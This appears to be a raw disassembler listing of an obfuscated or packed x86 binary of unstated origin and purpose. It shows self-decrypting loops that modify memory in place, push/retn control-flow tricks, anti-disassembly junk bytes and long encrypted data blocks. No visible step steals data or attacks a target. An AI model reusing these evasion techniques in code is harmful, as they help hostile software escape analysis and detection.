loc_5E4F60:				; CODE XREF: sub_5E4F4B+70j
		push	dword ptr [eax+ebx]
		jmp	loc_5E4F7A
; ---------------------------------------------------------------------------
		dd 118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_5E4F7A:				; CODE XREF: sub_5E4F4B+18j
		pop	ecx
		cmc
		sub	ecx, 35D9ECA9h
		ja	loc_5E4F8E
		mov	edi, [ebp+7E41F3Dh]


loc_5E4F8E:				; CODE XREF: sub_5E4F4B+37j
		xor	ecx, 2D1833A7h
		xor	ecx, 2A430BC5h
		mov	esi, [ebp+7E4218Dh]
		mov	[ebx+eax], ecx
		mov	esi, edi
		push	eax
		pop	esi
		sub	eax, 3
		adc	si, 0D76Dh
		dec	eax
		mov	esi, 34B45784h
		cmp	eax, 0FFFF9838h
		jnz	loc_5E4F60
		call	sub_5E4FD0
		fimul	word ptr [edi+32h]
		push	esp
		sub	al, 0E9h
		rol	byte ptr [ebp+7Ch], 1
		dec	ecx
sub_5E4F4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5E4FD0	proc near		; CODE XREF: sub_5E4F4B+76p
		mov	[ebp+7E40DFDh],	ebx
		pop	ecx
		jbe	loc_5E4FE3
		xor	edx, [ebp+7E40669h]


loc_5E4FE3:				; CODE XREF: sub_5E4FD0+7j
		add	ecx, 6CCDh
		jno	loc_5E4FF5
		mov	ebx, [ebp+7E41C59h]


loc_5E4FF5:				; CODE XREF: sub_5E4FD0+19j
		mov	esi, 1B0Dh
		or	bh, 0AEh


loc_5E4FFD:				; CODE XREF: sub_5E4FD0+84j
		mov	eax, [ecx]
		jmp	loc_5E500A
; ---------------------------------------------------------------------------
		dd 0B45B6D49h
		db 0F2h, 91h
; ---------------------------------------------------------------------------


loc_5E500A:				; CODE XREF: sub_5E4FD0+2Fj
		add	eax, 7568D9F2h
		jmp	loc_5E5026
; ---------------------------------------------------------------------------
		db 3Dh,	2Dh, 6Eh
		dd 0B36E854Bh, 0F605BA3Dh, 22F37606h
		db 96h,	0E2h
; ---------------------------------------------------------------------------


loc_5E5026:				; CODE XREF: sub_5E4FD0+40j
		sub	eax, 5D2034FBh
		xor	eax, 8BB276Dh
		adc	edx, 1FCF6AF0h
		mov	[ecx], eax
		cld
		sub	ecx, 403AFD51h
		mov	[ebp+7E40DB9h],	ecx
		add	ecx, 403AFD4Dh
		and	edx, [ebp+7E40EFDh]
		dec	esi
		jnz	loc_5E4FFD
		jns	loc_5E5063
		mov	bx, si


loc_5E5063:				; CODE XREF: sub_5E4FD0+8Aj
		lea	ecx, [ebp+7EA2C95h]
		mov	edx, [ebp+7E40E29h]
		mov	[ebp+7E41B71h],	ecx
		mov	[ebp+7E415A5h],	ebx
		mov	dword ptr [ebp+7E42DA1h], 6554h
		push	0
		push	ebp
		call	sub_5E5090
		and	[ebp-3Dh], bl
sub_5E4FD0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5E5090	proc near		; CODE XREF: sub_5E4FD0+B8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5E5090	endp

; ---------------------------------------------------------------------------
		dd 0E70619ADh, 880F5621h, 2, 0C75B98B2h, 0E422B985h, 7
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0AC3F8269h, 3A1FF4F5h, 0EDB5FF31h, 6A07E40Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 7E26C351h, 7BE97990h, 892EE4CCh, 0E423C9B5h
		dd 6195FF07h, 8907E430h, 0E40F3195h, 0FF006A07h, 0E40E4195h
		dd 0EBC08B07h, 0CA7E006Ah, 1A473B42h, 21F44785h, 79785F1Ah
		dd 0D1CBABC1h, 593E299Ch, 0ED83C3CAh, 6B9C0B6Eh, 1F19F47Fh
		dd 2A493489h, 9BAF1A11h, 0E66D82D7h, 0F2256A44h, 6F05EDB8h
		dd 0DA490484h, 79EE2DBDh, 301B00AFh, 8F58E1B9h,	86170525h
		dd 2845F40Bh, 4E6ADF1Eh, 88B867BEh, 0A19FAA3Eh,	59E41Dh
		dd 0ED5502A5h, 99094C60h, 0E9156A14h, 16h, 442EFD01h, 2540000h
		dd 3 dup(0)
		dd 0F0E90000h, 6800000Bh, 7EA2E9Ah, 0FB318CE9h,	2F6768FFh
		dd 82E907EAh, 68FFFB31h, 7EA314Eh, 0FB3178E9h, 321C68FFh
		dd 6EE907EAh, 68FFFB31h, 7EA32CDh, 0FB3164E9h, 346868FFh
		dd 5AE907EAh, 68FFFB31h, 7EA3537h, 0FB3150E9h, 366868FFh
		dd 46E907EAh, 68FFFB31h, 7EA376Fh, 0FB313CE9h, 550357FFh
		dd 0A4C0D22h, 0BA92C2D7h, 6EE67287h, 1D2D263Bh,	4815B6EAh
		dd 0F70C3F0Bh, 0AABFF260h, 5C71A4ACh, 0BD2255F9h, 0BC407053h
		dd 893D23FFh, 0D27CD988h, 94BA9B8Eh, 3B375961h,	0A2CB0EF1h
		dd 23D023F9h, 90D41D33h, 0F9A16DA1h, 0D42D523h,	5E8C0961h
		dd 2A2E5Ah, 0E62D0000h,	367EC8C0h, 1748064Fh, 0F9980302h
		dd 579BA823h, 0F9983468h, 46099C23h, 5EAA421Ah,	2F280F5Ah
		dd 0DF52F223h, 51000000h, 8ED27CD9h, 0C7AAF23Ah, 1C158E97h
		dd 72A28794h, 771C158Eh, 3320396Ah, 75E0D317h, 4C79C60Eh
		dd 0B0935EC3h, 1C168280h, 0DE27707Dh, 0C7F48294h, 7416A35Ah
		dd 79DCCF43h, 9F28290Ah, 4B942243h, 1EA00718h, 0CC891C16h
		dd 7513882h, 64A8AAADh,	3184C811h, 40279D00h, 0A0F33713h
		dd 4FFF566Fh, 703250Bh,	321FDABDh, 778423FAh, 7E2A3C44h
		dd 0E22C75D5h, 0DF65CFBh, 70C30749h, 9EE2C53Fh,	32BE113h
		dd 8EC5ACF6h, 0DF7489BCh, 0C92E796Bh, 7296C2A5h, 9D775h
		dd 71E77300h, 2630293Eh, 0D676DEF3h, 8ACA8EA3h,	39114257h
		dd 64E9D206h, 13285BEFh, 0C6DB0E44h, 788DC090h,	0D93E71DDh
		dd 0BC5C8C6Fh, 0AD6123FFh, 307AD9ACh, 0ADE02925h, 4791BD98h
		dd 0B9FED335h, 2556DC85h, 0C0E647C2h, 9C9B7EC8h, 7F23F997h
		dd 0B3F2E72h, 7323F998h, 0BBF36FE0h, 0C05A5EAAh, 0D0h
		dd 0D27CD9BFh, 92B89B8Eh, 93F85F4Eh, 64F11C15h,	0B3A2B7EAh
		dd 0B1F55BFBh, 0EBD1155Eh, 9C83CDC5h, 0FE5195B9h, 0B57053CDh
		dd 0FA23F9A7h, 347094Dh, 2C3467B0h, 0E1C40E1Ah,	2BE0858Ch
		dd 448CD6E3h, 73729D32h, 9FD09B8Fh, 997CCD86h, 1C183F69h
		dd 0EFC38E66h, 0D2B00149h, 0F80D4089h, 40FDEF5Bh, 0CC2A59Fh
		dd 90AEBE8h, 1A400000h,	63F60B3Eh, 0A9ABC0F3h, 0FD5B70A3h
		dd 440F2457h, 3C9FD306h, 0F5282231h, 0A8DB77E0h, 5A8DC393h
		dd 0B3E1045h, 29593CA6h, 2623FFBEh, 7AD97172h, 85020F05h
		dd 62F4FD43h, 0E57AAEEh, 50337BC5h, 1C166520h, 7CDF101Dh
		dd 1660EE67h, 4326252Fh, 1C166513h, 7EC20B18h, 6517472Ah
		dd 7141C16h, 0AF2A8DBEh, 80EA6678h, 0E55EEFE0h,	9DB194E0h
		dd 86CEA42Dh, 0C5947DC6h, 0E476091h, 0F5E4F640h, 0A52BDB95h
		dd 5447BBECh, 0A7A9AD01h, 7DC71063h, 9D225235h,	1A271C15h
		dd 291086E9h, 0E7F3242Eh, 377FC9C1h, 9CDC0CEFh,	0D4E11C15h
		dd 0BAFB8EA3h, 0F30023F9h, 0B599BCAFh, 81D5846Bh, 56B9EA3Dh
		dd 0F63A1441h, 3FC1F407h, 52FDA4ABh, 69EEC095h,	952A5E9h
		dd 0DC7960D6h, 0AADB2E72h, 468AC491h, 0B7C22457h, 9CAEA59Ch
		dd 5DEF6558h, 0CD820119h, 0FF5095C0h, 26563981h, 239CB7C2h
		dd 89CCE516h, 0D87D92C5h, 0C1629275h, 5A679CB7h, 2569E371h
		dd 564589D2h, 9CB7C21Fh, 7E46BE0h, 4018FF4Eh, 987DD014h
		dd 9B735A68h, 5A6F9F82h, 5F6C9B73h, 6FA2EBF8h, 0A4B3FB5Ah
		dd 0D7107E3h, 29724221h, 0F23B1740h, 0AAA6C8AEh, 28311860h
		dd 7DE8FD2Eh, 0F2A3577Ch, 84AAB2E5h, 0FC3516C1h, 8C6174EBh
		dd 27394D9Eh, 65AFF81Bh, 410A3A1Dh, 0CA8D94CFh,	8AF14488h
		dd 0EFD24C7Dh, 9CB360D0h, 267ABECBh, 20CBFBDEh,	0C3D09B73h
		dd 214A7D92h, 0DCB09B73h, 0ABEF61F5h, 61EE2758h, 0E70D5505h
		dd 45CD222h, 0DDD10000h, 1C158EADh, 159F0034h, 0A33B871Ch
		dd 0BEF21C15h, 0E01C15A1h, 0B1F55FF9h, 0F212D5Eh, 1A5EF463h
		dd 51347EC7h, 23F9C5FEh, 0CE82D481h, 0BE71A184h, 616E23F9h
		dd 80D2618h, 0D3F7BAC4h, 723D6h, 25332700h, 0DA7CDDF2h
		dd 8AC292A7h, 3E164257h, 0ED5DF60Bh, 182586BAh,	0C7DC0F3Bh
		dd 7A8FC290h, 2C4174DCh, 8DF22529h, 0C0104023h,	590D23FFh
		dd 0C2917858h, 173E5788h, 0FB0DF337h, 765DA5EFh, 0F2D71E1h
		dd 0A90B4B85h, 70A1EA79h, 8E345Bh, 0E02A3724h, 0EF15CF9h
		dd 24008DDEh, 5485CEDBh, 1B4645F1h, 4D302534h, 24008E1Dh
		dd 9BCC1522h, 2771798Fh, 0E4BA3D44h, 6FE5F22Bh,	859DF3E4h
		dd 0E1E9FFCBh, 9FD5B497h, 0CDDAD369h, 93B89C83h, 0A15B80B0h
		dd 27707DC4h, 0EB5F90E3h, 9DE7E305h, 859762BAh,	0F03A47CCh
		dd 1E014C09h, 0CB8584EEh, 0DB59F53Eh, 1D8461D3h, 967DC710h
		dd 0FF6293C3h, 0F1E36BEAh, 13387058h, 550B082Ch, 0F5000006h
		dd 0ABC0F365h, 6075A8AEh, 102558F4h, 0C4D90C48h, 5488BB8Fh
		dd 0DD6DE677h, 90C295AAh, 420E485Dh, 0F35BFA0Fh, 0EF15BC0h
		dd 23FFC0DEh, 0E62627DBh, 9B7EC8C0h, 23F9AD08h,	0C7BAFE0Bh
		dd 0F87CC08Eh, 26302910h, 6393BCF5h, 18FB454Dh,	2BDDCB85h
		dd 4C337D8Ah, 0AD004408h, 0D408197Ch, 5B1C158Eh, 1C158F2Bh
		dd 539D95BBh, 0B0E0C30Bh, 0AD1C158Eh, 437356A0h, 481C158Fh
		dd 0CEF50A3Bh, 0C123FFBBh, 0CC104414h, 92D680D9h, 69ADF63Fh
		dd 0FFBC4D7Ah, 0BB9FD423h, 0C78E23FFh, 6073A386h, 6B78142Bh
		dd 347DD582h, 92661D42h, 0E6E307CAh, 5A4h, 71A4B4A6h, 2659FD5Ch
		dd 0D6094311h, 8ABD97C1h, 396CDE75h, 0BC97A605h, 11465B8Eh
		dd 5DF90E41h, 0AAABC0F3h, 0A20C71A4h, 0FFC08FBFh, 0D7D88C23h
		dd 7EC8C0E6h, 8F235336h, 1B281C15h, 668D70EAh, 8623FFBBh
		dd 6596B49Fh, 8A7DC1CEh, 485083CBh, 0F8945C2Bh,	0F65BA57Ah
		dd 2E1569ADh, 0DFF82929h, 90A5D876h, 524589C5h,	0D2074B03h
		dd 3025C28Dh, 757EB1Eh,	245A5052h, 183h, 0C7C0E623h, 158EB4E4h
		dd 63ACB91Ch, 22460719h, 2BF36ACCh, 0F5391142h,	14F771A2h
		dd 23FA6DA9h, 5E4D919Eh, 23FA6B2Ch, 5927286Dh, 6AFE2E11h
		dd 0EEFB23FAh, 0F39FB1BDh, 56A9ED63h, 75E0C30Dh, 0FA2BDE70h
		dd 0B0A5BAEDh, 290C549Eh, 1C1667F9h, 44B8E9F6h,	174A0451h
		dd 0A7F1F90Fh, 0D2DE785Fh, 4185CE86h, 65A8BDEEh, 4A23FA7Bh
		dd 0D60AF93Dh, 3E23FA58h, 7DD3836Ah, 303C134Ch,	5A5E5578h
		dd 2EFFh, 0C0E6FE00h, 9C9B7EC8h, 9C23F997h, 15F8BF8Ah
		dd 2B5C0B3Bh, 0EF438794h, 0D2034F08h, 0F9AF89BDh, 0F15EF123h
		dd 5E822575h, 0B4425Ah,	0D9410000h, 9B8ED27Ch, 4892B8h
		dd 158EED1Dh, 68E4701Ch, 4E0BF401h, 7063D708h, 322569E5h
		dd 88CE8B23h, 75A8F144h, 133F18FFh, 364B7CCFh, 1C1593CFh
		dd 4F321B3Ah, 1C15931Fh, 2D260F1Ch, 99A1D41Dh, 4E317B77h
		dd 23FC7A77h, 0A10F47F4h, 15498B2h, 3E256FB8h, 91C39515h
		dd 7EB1FA4Dh, 6E60EA69h, 0BAC154E7h, 9F0ED11h, 41000004h
		dd 0F70C3F19h, 0ACC1F462h, 5C71A4A8h, 102558FCh, 0A0D40743h
		dd 2921323Bh, 0DC76E1F6h, 8EC294A9h, 3F0F465Bh,	5A3DA70Ch
		dd 23FFC32Ah, 0D97A7B2Fh, 279DD07Ah, 0F73B1740h, 0FB5A73A4h
		dd 0AC072688h, 0B9027B51h, 91780B86h, 0E16DE8C2h, 0A3365498h
		dd 6D3FA962h, 0CDE61760h, 8F82C688h, 0E26EE8C6h, 78EB6699h
		dd 8F1D4D30h, 0EB751C15h, 0E3F0612Fh, 0FC2D3AA1h, 16DBB3E7h
		dd 0DC063A1Ch, 70961C15h, 244B2E78h, 27240009h,	2B75DD7Ah
		dd 0FFEF1848h, 0BF081523h, 0AC73957Bh, 56593373h, 74BE0766h
		dd 4113452Ch, 96C6A9FDh, 9323FFD7h, 0F70C3D86h,	2BE3F6F8h
		dd 0DFC6BED0h, 0A2E9F1CCh, 80B19BB9h, 81EADCE9h, 83C299F6h
		dd 33A625Fh, 4A100000h,	93C6DB0Eh, 0D97B90C3h, 2D2B4073h
		dd 74DFF427h, 4C6FA3D6h, 0C5F85201h, 78ABA7B0h,	2A5DF363h
		dd 0DB0E4015h, 0F9290C76h, 0F623FFC3h, 7CD94142h, 0B8A188D2h
		dd 0D6075A9Eh, 59FC0E62h, 0E317AF46h, 0D77E97C8h, 2A3C4477h
		dd 66EDD41Eh, 1C4DA0E4h, 0E3735AA2h, 0A5D6296Dh, 0F9EC4D90h
		dd 1455223h, 0B52C9BADh, 9AD279A2h, 8A205469h, 0F58823FAh
		dd 645E0E5Ah, 3BDD5A5Eh, 0DC000000h, 2C28C0E6h,	4089DC20h
		dd 981413F6h, 0A1723F9h, 97A3D7C6h, 370B23F9h, 26B7A025h
		dd 3518FBF8h, 23FA5F05h, 0CBB4FD0Ah, 2D80C48Ah,	0E08CC3FCh
		dd 5A5E7388h, 0B3AFh, 7CD9AE00h, 0B89B8ED2h, 0FA5B4E92h
		dd 381D1054h, 6BD2E316h, 5E1C1593h, 0F2457F7h, 0D7BE0846h
		dd 9B8ED280h, 0FD5094BAh, 290F83B4h, 0C7ED6B07h, 2B7EC290h
		dd 6C4F99E2h, 23F9A225h, 1135D6Ah, 4900228Ah, 1F0FBFFFh
		dd 77052605h, 929AFD2Eh, 472A747Ch, 2BE1286Ah, 6503745h
		dd 0CEB3064Ah, 1C17D39Eh, 0FB458E9Bh, 0D80B3F14h, 0C8BA90C3h
		dd 0C2A5F399h, 97A779Bh, 41000002h, 0F70C3F19h,	0ACC1F462h
		dd 5C71A4A8h, 102558FCh, 0A0D40743h, 2921323Bh,	0DC76E1F6h
		dd 8EC294A9h, 3F0F465Bh, 5A3DA70Ch, 23FFC52Ah, 0D97A7B2Fh
		dd 889DD07Ah, 0D34E81CDh, 7EC8C0E6h, 0F9979C9Bh, 2E727F23h
		dd 0F9980B3Fh, 6FE07323h, 5EAABBF3h, 10EC05Ah, 0D9BF0000h
		dd 3A8ED27Ch, 8E643828h, 51079076h, 7089BA03h, 0B1D67E3h
		dd 0F6D89372h, 276A7F1h, 1671AC13h, 16381D1Ch, 42256DE3h
		dd 1C166912h, 0C0D90A17h, 8F75B995h, 44277179h,	23FA77FDh
		dd 0B7A087CFh, 6286B69Bh, 768323FAh, 4387C98Dh,	1B28BFF0h
		dd 856072E8h, 42725512h, 4723F9CAh, 224263Ah, 18482B75h
		dd 1523FA37h, 0A5CBD708h, 448063ADh, 692BE11Eh,	282B125Ch
		dd 357FD782h, 17DD2252h, 0D11A271Ch, 0C12D3F87h, 0F4CBC742h
		dd 0EB77A78Ch, 67741C17h, 4B5DD336h, 1538E752h,	7C95C675h
		dd 768173D7h, 0CEC2A55Eh, 102ADAAh, 12480000h, 5BFE1346h
		dd 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh, 4A7DB0Eh,	0FD301A39h
		dd 0B0E36FE8h, 6295BB9Bh, 1346084Dh, 316144AEh,	2E23FFC6h
		dd 9178797Ah, 0F5488CC6h, 8E98C8ABh, 88951C15h,	35153E57h
		dd 1B68ED02h, 6346FD16h, 1C166633h, 0C172B38h, 664C8223h
		dd 0DF193EC2h, 9F1A4D96h, 88D27CD9h, 6D9EB8A1h,	97BEA5F9h
		dd 0E86D86B7h, 0D6BD3366h, 368ACE7Eh, 158F2353h, 0D21B281Ch
		dd 777395A1h, 0D202E52Dh, 0D71C158Eh, 3C1F99CAh, 23FFBC11h
		dd 71C50916h, 3F83CB8Ah, 0B3A2BBECh, 0EA6A519Bh, 0E2001E62h
		dd 0CBD46812h, 0A80B3C85h, 84192032h, 6E0F2D6Fh, 1D31243Dh
		dd 0F752EAD9h, 9D4467C4h, 2E2035B2h, 3F6FE6FBh,	0A4F73B19h
		dd 0EF47775Ah, 37446043h, 0A1B7AAEEh, 3E2169B3h, 6043EF0Eh
		dd 59CDFE0Bh, 4E9BB44Fh, 0FF144707h, 0B7B4F856h, 0Ch, 2D3F69BCh
		dd 3FCA85C4h, 30AFE08Dh, 93D781D9h, 5599B5A0h, 185CF462h
		dd 0DC203225h, 9CE06AE9h, 5CA0AAA9h, 2165EF69h,	0E226262Eh
		dd 0A8EC6AEFh, 0E789576Ah, 4C781h, 0BD550000h, 4, 875DEF29h
		dd 685C243Ch, 46B4h, 50241489h,	405E089h, 83000000h, 48704E8h
		dd 2C895C24h, 2D7E6824h, 148B07EAh, 4C48124h, 54000000h
		dd 83242C8Bh, 0EC8104C4h, 4, 8F241489h,	34FF0845h, 0C4835D24h
		dd 24148B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598345
; ---------------------------------------------------------------------------
		movsb
		les	esi, [edx+6B91DB79h]
		xchg	eax, edx
		push	ebx
		pop	esp
		or	[ebx-69477DA0h], al
		cmp	dl, ch
		pop	es
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 1D91C9DDh, 18D09626h, 6DCDD43Fh, 54FE76E0h, 37E068B1h
		dd 65949A36h, 0B38475Ch, 9A9D01Dh, 4D8281F1h, 6E75DEB2h
		dd 111B8B84h, 6E415C19h, 21AC6B8Fh, 0E0D5ADCh, 23015B16h
		dd 7C4B1DA6h, 8793B50h,	66D480A9h, 6F176FFBh, 7150F8B2h
		dd 9C29996h, 71114972h,	3E3C531Ch, 564EDCD1h, 426D434Fh
		dd 18DD498Fh, 3D9734B2h, 5733CDC2h, 67C5DEE1h, 6E73EFD3h
		dd 1A1A38EAh, 4777EC9h,	0DCE9h,	0A7253200h, 459CD73Ch
		dd 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h
		dd 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh
		dd 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch
		dd 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh
		dd 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h
		dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h
		dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h
		dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h
		dd 0F0A8CDh, 0
		dd 129D7447h, 5E99E0E3h, 9 dup(0)
		dd 15A7E900h, 88680000h, 0E907EA3Ch, 0FFFA436Fh, 0EA3D6768h
		dd 4365E907h, 3068FFFAh, 0E907EA3Eh, 0FFFA435Bh, 0EA3F7768h
		dd 4351E907h, 968FFFAh,	0E907EA40h, 0FFFA4347h,	0EA40BF68h
		dd 433DE907h, 8268FFFAh, 0E907EA41h, 0FFFA4333h, 0EA425C68h
		dd 4329E907h, 0C68FFFAh, 0E907EA43h, 0FFFA431Fh, 0EA446B68h
		dd 4315E907h, 6068FFFAh, 0E907EA45h, 0FFFA430Bh, 0EA46AD68h
		dd 4301E907h, 1A68FFFAh, 0E907EA48h, 0FFFA42F7h, 0EA497568h
		dd 42EDE907h, 0BF68FFFAh, 0E907EA4Ah, 0FFFA42E3h, 0EA4C9D68h
		dd 42D9E907h, 9468FFFAh, 0E907EA4Dh, 0FFFA42CFh, 0F589AB83h
		dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh,	21FC559Bh
		dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h,	0A89BCDB2h
		dd 0AC448913h, 946BE84Ah, 4213A89Bh, 9B896ED9h,	2D0A13A8h
		dd 495BC415h, 5A795674h, 0DA1D4470h, 0AA88142Bh, 71033B94h
		dd 7898710Fh, 4284760Dh, 697BE414h, 0C65A724Fh,	55754EECh
		dd 0C6F2043h, 6EBE172Fh, 0A4DCF2D0h, 43134602h,	0F952E7CCh
		dd 28C09E7h, 5013A6BFh,	7902AFE7h, 0CE13A680h, 2AD589BDh
		dd 6CD877FDh, 0E78AFAFAh, 7E90CDC2h, 25DFh, 424D0800h
		dd 0E99F1C6Ch, 0A713A6A9h, 0A659063Eh, 2513A6AAh, 8B295014h
		dd 0A68193B1h, 0D8780759h, 0CF7Eh, 7956A700h, 805B2961h
		dd 815E2C64h, 0A17B1969h, 9EB04B83h, 1E2D0AD8h,	42A0DAA1h
		dd 0BF0F7814h, 42A0BD42h, 57B01914h, 70906907h,	698B9D38h
		dd 42A46174h, 0B9943214h, 0B8CA659Dh, 15A9C19Eh, 0D20A22FFh
		dd 0A9C9A240h, 601B7497h, 0C4146D81h, 0AA4CF062h, 0DD2F9325h
		dd 0B250D2CBh, 821E13A6h, 0BB568EA4h, 56F4CE62h, 2E516377h
		dd 9BFD4D61h, 0BAC7BC39h, 2A9313A6h, 98AAC09Eh,	40522C9Fh
		dd 0A9F96214h, 8014300Bh, 1F738F6Ah, 62357A8Ch,	57D0343h
		dd 0DE000013h, 3A50E406h, 97AD4161h, 0F70DA1BBh, 5A700418h
		dd 0F6CF637Fh, 607C57F0h, 0BEDCB6CCh, 2036142Ah, 8199768Ch
		dd 0D8A3AEDh, 13A89C76h, 56109FE4h, 0B5CB5F7Bh,	5B2CC0D8h
		dd 1C6C424Dh, 0A6A9E99Fh, 0EE3EA713h, 0A615B57Ch, 0B2C44E78h
		dd 0B4BC3FECh, 0B90B13A6h, 0B425DA57h, 48B113A6h, 0B1ED9936h
		dd 0D877FD4Eh, 0B387h, 7956B000h, 25972961h, 16762733h
		dd 0D6F002B8h, 15A7DFFBh, 0F801B9A3h, 9DAF3CBFh, 422131A4h
		dd 31492614h, 5FAA879Dh, 0D8106983h, 0D0208E01h, 0A63ED153h
		dd 0C13EA013h, 13A63F3Ah, 58B14D89h, 56A7D1F7h,	93FCDBEDh
		dd 0AC8725FFh, 0ABBD5890h, 57A70788h, 8DC5DBB9h, 8502E0F2h
		dd 14406725h, 0E07ECE37h, 3F55E905h, 0C1F44864h, 22623577h
		dd 12265CE2h, 0E5BD0000h, 40192FC3h, 9A768C20h,	0F7D6EC80h
		dd 5E394FE3h, 2FD5AE42h, 0AB3F5B36h, 99DBB95h, 6BFF15F3h
		dd 0CC607855h, 17EC6919h, 0C313A89Dh, 7B56EF7Eh, 0D8B5CB5Fh
		dd 5D95B38Dh, 4D569C2h,	29617956h, 0D2667E5Bh, 8EC6E0BCh
		dd 7BCBE3C0h, 0D5E701DDh, 5E3BD9B3h, 86093446h,	0D3A82587h
		dd 7F1442A0h, 94AE8A16h, 7E305F82h, 8CE3B12Eh, 50B213A6h
		dd 8D8A71EEh, 0DF4813A6h, 0A68D8F74h, 0D0E24B13h, 747F88F1h
		dd 0E42CBC8Ah, 0D3238B04h, 0ED920F71h, 69EB2CFEh, 83F5EE00h
		dd 51ECC8E3h, 0B6D9B0E8h, 0C946A8F8h, 1310DB32h, 472537A0h
		dd 0F76B96CAh, 8BDB4414h, 64F810EDh, 559714Eh, 62C654BAh
		dd 5D77FD3Dh, 86000011h, 0E2F88CAEh, 3F55E909h,	9FB54963h
		dd 218ACC0h, 9E770B27h,	824FF58h, 66845E74h, 0C8DEBCD2h
		dd 29411E34h, 0B532E295h, 13A89ECEh, 56B8478Ch,	38522E79h
		dd 81B9CDACh, 0C3558DE6h, 0C11BEF61h, 0A4E2C0F2h, 42734239h
		dd 95A71014h, 835E1D72h, 3B942F67h, 5FB86EEBh, 167613A6h
		dd 0A65FE299h, 0AE077013h, 1A94FB1Ah, 7A474DCAh, 0AC151442h
		dd 8534C774h, 41931B8Bh, 0C7175CFh, 0EE005FE8h,	96691551h
		dd 3FD092C9h, 40h, 39424D68h, 98E8415Fh, 0A6EF871Bh, 0F875D513h
		dd 13A6F003h, 0BD0D66CFh, 0F129431Fh, 0C8664456h, 4B40D4EAh
		dd 13A6F0B2h, 5CF008E5h, 2526846h, 0F05C23A0h, 91FA13A6h
		dd 9133B97Fh, 0C2000010h, 0AE2F2092h, 38286868h, 228C0326h
		dd 3B5B34D2h, 78566803h, 0A86951FBh, 39AF1F13h,	0F14B903Dh
		dd 24C2126Bh, 859B2F47h, 815890A8h, 572CA90Eh, 313A932h
		dd 74F1419Ah, 14430B2Dh, 963484EDh, 0F70DA1B9h,	38CA021Ah
		dd 22159DC6h, 788A1E46h, 64413A55h, 26A3F34Ch, 1C735C88h
		dd 2F976D6h, 0D003F8A3h, 0E7405634h, 2E667E5Bh,	0E3E63A93h
		dd 285A467Bh, 101662E8h, 0F5CD0000h, 50293FD3h,	0AA869C30h
		dd 7E6FC90h, 6E495FF3h,	1FE5BE52h, 0BB4F6B46h, 19ADCBA5h
		dd 7B0F2503h, 0DC708865h, 7FC7929h, 0D313A89Fh,	8477FF8Eh
		dd 4B1442A0h, 0A6B8D0ADh, 906F0C83h, 59A9447Ch,	42A027DCh
		dd 0F14AB314h, 99F524A1h, 3CA513A8h, 760D8AECh,	0E413A89Ah
		dd 0ED8B697Bh, 4E64F810h, 6B095971h, 4B6B448Dh,	0D1F7813h
		dd 5C1F7047h, 75BE5F80h, 1BF63175h, 96EF8AC2h, 0B503C946h
		dd 68D1144Ch, 321ABF14h, 9A206062h, 0F84h, 0D165875Fh
		dd 2EC2E2BBh, 8E223C18h, 0F1859978h, 50E400DBh,	0FDD87177h
		dd 5D374DE1h, 0B795AB3Fh, 1AF70DA1h, 0BBB6E02h,	0A8E0E98Eh
		dd 91206513h, 0FD19F492h, 0D8EF23C5h, 0C077642Eh, 5E3B5567h
		dd 0D684F646h, 0E4A8D7ACh, 0B07E4456h, 0CD6BBBD3h, 5A0D8F0h
		dd 0EBE92DF3h, 4254744Dh, 1CBAE1A5h, 53EE2640h,	0F996641h
		dd 9B3EE05Ch, 67000009h, 73C52092h, 7FDFF3D2h, 0D2E4AFE6h
		dd 7ECEE0AFh, 0A89EC501h, 0D6268F13h, 0AF435B38h, 2D9DBC99h
		dd 3DDB60A0h, 5D0A429Bh, 13A84FA2h, 0BB0BA3ECh,	4C63883Eh
		dd 0CBAA4614h, 0D30A5EB7h, 60623164h, 0ECE9A20h, 3D150000h
		dd 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh, 0C72D069Ah
		dd 397B38Eh, 61F513EDh,	0C3576D4Bh, 24B8D0ADh, 0BF44C171h
		dd 1B13A8E0h, 309247D6h, 42A0CCB3h, 0F218A14h, 0B00018F5h
		dd 9C00273Eh, 0B93A5109h, 60CD2D3Ch, 6AF3F37Ch,	0E33B3FD2h
		dd 0E4B2788Ah, 73B7EF07h, 0DEFED775h, 47772FCCh, 0E05BE4B8h
		dd 8E91Dh, 84774600h, 4B1442A0h, 45C2CFADh, 1442A0BEh
		dd 225AB31Ch, 3D527587h, 20A42171h, 7213A899h, 401BB909h
		dd 96341224h, 330DA1B9h, 52E0D7C1h, 35476FA3h, 0EE263E1Bh
		dd 0E6367817h, 4C06A369h, 93107214h, 1B8C16ECh,	10EF016Ah
		dd 0C99453A7h, 73B36231h, 0E0BEDh, 0DE00D800h, 3B5B344Ah
		dd 9BB591A7h, 0FE12F107h, 5D79546Ah, 510AF0C9h,	0B0C65A76h
		dd 0E24B8D6h, 70861A30h, 34E77B93h, 0E1700784h,	99DE13A8h
